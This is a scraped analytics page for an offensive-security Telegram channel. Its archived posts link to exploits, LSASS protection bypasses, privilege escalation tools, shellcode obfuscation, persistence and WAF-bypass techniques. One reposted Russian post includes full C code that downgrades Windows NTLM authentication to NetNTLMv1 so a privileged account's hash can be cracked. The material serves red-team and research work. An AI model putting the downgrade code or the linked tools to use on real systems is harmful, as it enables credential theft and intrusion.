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APT

APT

前往频道在 Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

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📈 Telegram 频道 APT 的分析概览

频道 APT (@apt_notes) 英语 语言赛道中的 是活跃参与者。目前社区聚集了 14 650 名订阅者,在 技术与应用 类别中位列第 8 841,并在 俄罗斯 地区排名第 45 663

📊 受众指标与增长动态

невідомо 创建以来,项目保持高速增长,吸引了 14 650 名订阅者。

根据 11 六月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 406,过去 24 小时变化为 16,整体触达仍然可观。

  • 认证状态: 未认证
  • 互动率 (ER): 平均受众互动率为 48.83%。内容发布后 24 小时内通常能获得 N/A% 的反应,占订阅者总量。
  • 帖子覆盖: 每篇帖子平均可获得 7 154 次浏览,首日通常累积 0 次浏览。
  • 互动与反馈: 受众积极参与,单帖平均反应数为 18

📝 描述与内容策略

作者将该频道定位为表达主观观点的平台:
This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

凭借高频更新(最新数据采集于 12 六月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 技术与应用 类别中的关键影响点。

14 650
订阅者
+1624 小时
+1087
+40630
帖子存档
APT
14 650
🔍 Deep Dive into Windows IPv6 TCP/IP An overview of CVE-2024-38063, a remote code execution vulnerability in Windows IPv6 TCP/IP. Includes a technical summary, PoC instructions and a reproduction guide. 🔗 Research: https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html 🔗 PoC: https://github.com/ynwarcs/CVE-2024-38063 #windows #kernel #ipv6 #rce #poc

APT
14 650
👻 Ghost in the PPL Part 2: From BYOVDLL to Arbitrary Code Execution in LSASS In this second installment, the author deepens the exploration of techniques for bypassing LSASS protection, focusing on arbitrary code execution by refining the PoC, exploiting vulnerabilities like CVE-2023-28229, and bypassing Control Flow Guard (CFG) through RPC-based process handle duplication. 🔗 Source: https://itm4n.github.io/ghost-in-the-ppl-part-2/ #lsa #lsass #ppl #dll #maldev

APT
14 650
🔐 FreeIPA Rosting (CVE-2024-3183) A vulnerability recently discovered by my friend @Im10n in FreeIPA involves a Kerberos TGS
🔐 FreeIPA Rosting (CVE-2024-3183) A vulnerability recently discovered by my friend @Im10n in FreeIPA involves a Kerberos TGS-REQ being encrypted using the client’s session key. If a principal’s key is compromised, an attacker could potentially perform offline brute-force attacks to decrypt tickets by exploiting the encrypted key and associated salts. 🔗Source: https://github.com/Cyxow/CVE-2024-3183-POC #freeipa #kerberos #hashcat #cve ——— Добавляем доклад Миши в вишлист на Offzone 🚶‍♂️

APT
14 650
Repost from haxx
Всем привет. Выпустил в паблик Sploitify (https://sploitify.haxx.it) - агрегатор эксплойтов/поков/райтапов с тегами по уязвимостям. Что-то вроде GTFOBins, но для эксплойтов. Сейчас в нем можно найти чекеры от nuclei (тысячи их), некоторые эксплойты на эскалацию привилегий и удаленное выполнение кода в винде и никсах. Еще много чего добавлять, но пользоваться уже можно. Надеюсь пригодится и сделает вашу жизнь немножко легче, по крайней мере такая была цель :)

APT
14 650
Repost from RedTeam brazzers
Совсем недавно Миша выложил инструмент LeakedWallpaper, а я уже успел применить его на проекте. Все отработало отлично! Но зачем нам нужен NetNTLMv2 хеш? Давайте подумаем, как можно улучшить технику, если на компе злющий EDR, но зато есть права local admin. С правами local admin вы можете с помощью манипуляции ключами реестра сделать downgrade NTLM аутентификации до NetNTLMv1 и получить уже хеш, который можно восстановить в NTLM хеш в независимости от сложности пароля пользователя. Для этой цели я написал небольшую программу, которая бэкапит текущие настройки реестра, затем делает downgrade и через 60 сек восстанавливает все обратно.
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep

void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
    HKEY hKey;
    DWORD value;
    DWORD valueSize = sizeof(DWORD);

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
        RegCloseKey(hKey);
        *oldValue = value;
    } else {
        printf("Ошибка чтения ключа реестра.\n");
    }
}

void SetRegKey(const char* path, const char* key, DWORD newValue) {
    HKEY hKey;

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
        RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
        RegCloseKey(hKey);
    } else {
        printf("Ошибка записи ключа реестра.\n");
    }
}

void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);

    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);

    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}

void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}

int main() {
    DWORD oldValue_LMCompatibilityLevel = 0;
    DWORD oldValue_NtlmMinClientSec = 0;
    DWORD oldValue_RestrictSendingNTLMTraffic = 0;

    ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);

    // Задержка 60 секунд
    sleep(60);

    NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);

    return 0;
}
Компилируем так
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c
В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit! Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :) P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.

APT
14 650
🖼️ Manipulating Shim and Office for Code Injection Office Injector - Invokes an RPC method in OfficeClickToRun service that
🖼️ Manipulating Shim and Office for Code Injection Office Injector - Invokes an RPC method in OfficeClickToRun service that will inject a DLL into a suspended process running as NT AUTHORITY\SYSTEM launched by the task scheduler service, thus achieving privilege escalation from administrator to SYSTEM. Shim Injector - Writes an undocumented shim data structure into the memory of another process that causes apphelp.dll to apply the “Inject Dll” fix on the process without registering a new SDB file on the system, or even writing such file to disk. DefCon Presentation 🔗 Source: https://github.com/deepinstinct/ShimMe #windows #office #rpc #inject #lpe

APT
14 650
Repost from 1N73LL1G3NC3
DriverJack: Turning NTFS and Emulated Read-only Filesystems in an Infection and Persistence Vector By: Alessandro Magnosi (@klezVirus) DriverJack Hijacking valid driver services to load arbitrary (signed) drivers abusing native symbolic links and NT paths Key Attack Phases:
   1) ISO Mounting and Driver Selection
      1.1) The attack begins with mounting the ISO as a filesystem.
      1.2) The attacker selects a service driver that can be manipulated, focusing on those that can be started or restarted without immediate detection.
   2) Hijacking the Driver Path
      2.1) The core of the attack involves hijacking the driver path. The methods used include:
      2.2) Direct Reparse Point Abuse
      2.3) DosDevice Global Symlink Abuse
      2.4) Drive Mountpoint Swap

APT
14 650
👻 Ghost in the PPL: BYOVDLL This blog post explores bypassing LSA Protection in Userland through the "Bring Your Own Vulnerable DLL" (BYOVDLL) technique. It also delves into the successful exploitation of vulnerabilities in the CNG Key Isolation service and the methods employed to load vulnerable DLLs within protected processes. 🔗 Source: https://itm4n.github.io/ghost-in-the-ppl-part-1/ #lsa #lsass #ppl #dll #maldev

APT
14 650
Repost from Offensive Xwitter
😈 [ Cube0x0 @cube0x0 ] Over a year ago, I left my position at WithSecure to start a new journey, create something new, and d
😈 [ Cube0x0 @cube0x0 ] Over a year ago, I left my position at WithSecure to start a new journey, create something new, and do my own thing. Today, I'm excited to publicly announce what I've been working on all this time. Introducing 0xC2, a cross-platform C2 framework targeting Windows, Linux, and MacOS environments: 🔗 https://0xc2.io The first release was back in late 2023, initially only offered to a small circle of red teamers and soon, the registration will be open for new clients who provide threat simulation services. All agents are written as PIC in C to provide better opsec and to allow operators to be more flexible when designing payloads. To make the agents modular and fully customizable, operators can create a user-defined virtual table that can be hooked by the agent. This can be used to change the default behavior of an agent or extend capabilities, from adding internal commands to implementing P2P protocols. More details will be available soon. 🐥 [ tweet ]

APT
14 650
🥔 DeadPotato This is a windows privilege escalation utility from the Potato family of exploits, leveraging the SeImpersonate right to obtain SYSTEM privileges. This script has been customized from the original GodPotato source code by BeichenDream. 🔗 Source: https://github.com/lypd0/DeadPotato #windows #lpe #potato #seimpersonate

APT
14 650
🖥 Find and execute WinAPI functions with Assembly If you want to take a happy little journey through PEB structs, PE headers
🖥 Find and execute WinAPI functions with Assembly If you want to take a happy little journey through PEB structs, PE headers and kernel32.dll Export Table to spawn some "calc.exe" on x64 using Assembly, here it is. 📚 What you will learn: — WinAPI function manual location with Assembly; — PEB Structure and PEB_LDR_DATA; — PE File Structure; — Relative Virtual Address calculation; — Export Address Table (EAT); — Windows x64 calling-convention in practice; — Writing in Assembly like a real Giga-Chad... 🔗 Source: https://print3m.github.io/blog/x64-winapi-shellcoding #maldev #winapi #x64 #shellcode #assembly

APT
14 650
👩‍💻 Anyone can Access Deleted and Private Repository Data on GitHub You can access data from deleted forks, deleted reposit
👩‍💻 Anyone can Access Deleted and Private Repository Data on GitHub You can access data from deleted forks, deleted repositories and even private repositories on GitHub. And it is available forever. This is known by GitHub, and intentionally designed that way. Cross Fork Object Reference (CFOR) vulnerability occurs when one repository fork can access sensitive data from another fork (including data from private and deleted forks). — Deleted Fork Data: Still accessible. — Deleted Repo Data: Commits remain. — Private Repo Data: Can become public. 🔗 Research: https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github #github #private #repo #cfor

APT
14 650
Repost from Offensive Xwitter
😈 [ Print3M @Print3M_ ] I wrote my first calc.exe "shellcode" in NASM. I find it a little strange that a lot of people write about malware development but almost no one talks about writing your own shellcode. I decided to write something on my own. (good comments, easy readable) 🔗 https://github.com/Print3M/shellcodes/blob/main/calc-exe.asm 🐥 [ tweet ] #для_самых_маленьких

APT
14 650
🛠 Adventures in Shellcode Obfuscation This series of articles explores various methods for hiding shellcode, emphasizing tec
🛠 Adventures in Shellcode Obfuscation This series of articles explores various methods for hiding shellcode, emphasizing techniques to avoid detection. The focus is on demonstrating diverse approaches to conceal shellcode. 🔗 Part 1: Overview 🔗 Part 2: Hail Caesar 🔗 Part 3: Encryption 🔗 Part 4: RC4 with a Twist 🔗 Part 5: Base64 🔗 Part 6: Two Array Method #shellcode #obfuscation #clang #maldev

APT
14 650
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APT
14 650
Repost from vx-underground
How to fix the Crowdstrike thing: 1. Boot Windows into safe mode 2. Go to C:\Windows\System32\drivers\CrowdStrike 3. Delete C-00000291*.sys 4. Repeat for every host in your enterprise network including remote workers 5. If you're using BitLocker jump off a bridge

APT
14 650

APT
14 650
💻 Chrome Extension For Persistence How to silently install any Chrome extension and avoid common indicators of compromise (IOCs). The method avoids using CLI parameters or registry edits, and persists via the Secure Preferences file 🔗 Source: https://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html #chrome #persistence #maldev #c2

APT
14 650
🖥 Introduction for to Windows kernel exploitation Explore the Windows Kernel with HEVD, a vulnerable driver. Dive into stack
🖥 Introduction for to Windows kernel exploitation Explore the Windows Kernel with HEVD, a vulnerable driver. Dive into stack overflow exploits and bypass SMEP/KPTI protections using the sysret approach. A detailed guide for Windows kernel explotation: — Part 0: Where do I start?Part 1: Will this driver ever crash?Part 2: Is there a way to bypass kASLR, SMEP and KVA Shadow?Part 3: Can we rop our way into triggering our shellcode?Part 4: How do we write a shellcode to elevate privileges and gracefully return to userland? #windows #kernel #driver #hevd #hacksys

APT
14 650
😎 Gigaproxy — One Proxy to Rule Them All If you’re looking for a powerful tool to help you bypass Web Application Firewalls (WAFs) during external penetration tests and bug bounty programs, you’re in the right place. Gigaproxy tool is designed to rotate IPs using mitmproxy, AWS API Gateway, and Lambda. Fireprox is great but has one major downside. You can only target a single host at a time. Gigaproxy solves this. 🔗 Research: https://www.sprocketsecurity.com/resources/gigaproxy 🔗 Source: https://github.com/Sprocket-Security/gigaproxy #ip #rotate #aws #api #gateway #proxy